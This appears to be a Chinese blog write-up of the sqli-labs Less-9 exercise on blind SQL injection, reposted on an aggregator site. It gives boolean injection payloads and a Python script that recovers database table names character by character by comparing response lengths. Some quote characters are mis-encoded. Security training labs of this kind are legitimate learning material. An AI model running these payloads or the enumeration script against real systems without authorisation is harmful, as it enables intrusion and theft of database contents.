首页 > 其他 > 详细

Less-9

时间:2021-01-05 15:09:52      阅读:27      评论:0      收藏:0      [点我收藏+]

判断sql注入的位置和回显的参数

技术分享图片

 

 技术分享图片

 

 

 

 

  • 回显界面没有改变,证明sql语句错误不会回显

  • 或者没有sql注入漏洞

python 写脚本请求看返回

import requests
url= "https://sql.alienwares.top/Less-9/?id=1‘ and 1=1 %23"
res=requests.get(url)
print(len(res.content))
?
  • 发现正确的回显长度是707

  • 错误的回显是744

sql 语句

?id=1‘ and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘e‘ %23
#如果在中间出现阔号返回值会是695
?
?id=1‘ and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),0,1) )=‘,‘%23
?id=1‘ and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘e‘ %23"

python 脚本开始盲注入

# 707 r
# 744 e
?
import requests
import time
#706
for i in range(0,100):
   url = "https://sql.alienwares.top/Less-9/?id=1‘ and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i) + ",1) )=‘,‘%23"
   res = requests.get(url)
   time.sleep(1)
   if (len(res.content) == 707):
       print(",",end="")
       continue
   for e in range(ord("a"), ord("z") + 1):
       url="https://sql.alienwares.top/Less-9/?id=1‘ and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1) )=‘"+chr(e)+"‘%23"
       res=requests.get(url)
       time.sleep(1)
       if (len(res.content) == 707):
           print(chr(e), end="")
           break
?
?
?
?

运行结果

技术分享图片

 

 

 

休眠的时间可以适当加长,因为我的速度

Less-9

原文:https://www.cnblogs.com/hackering/p/14235157.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!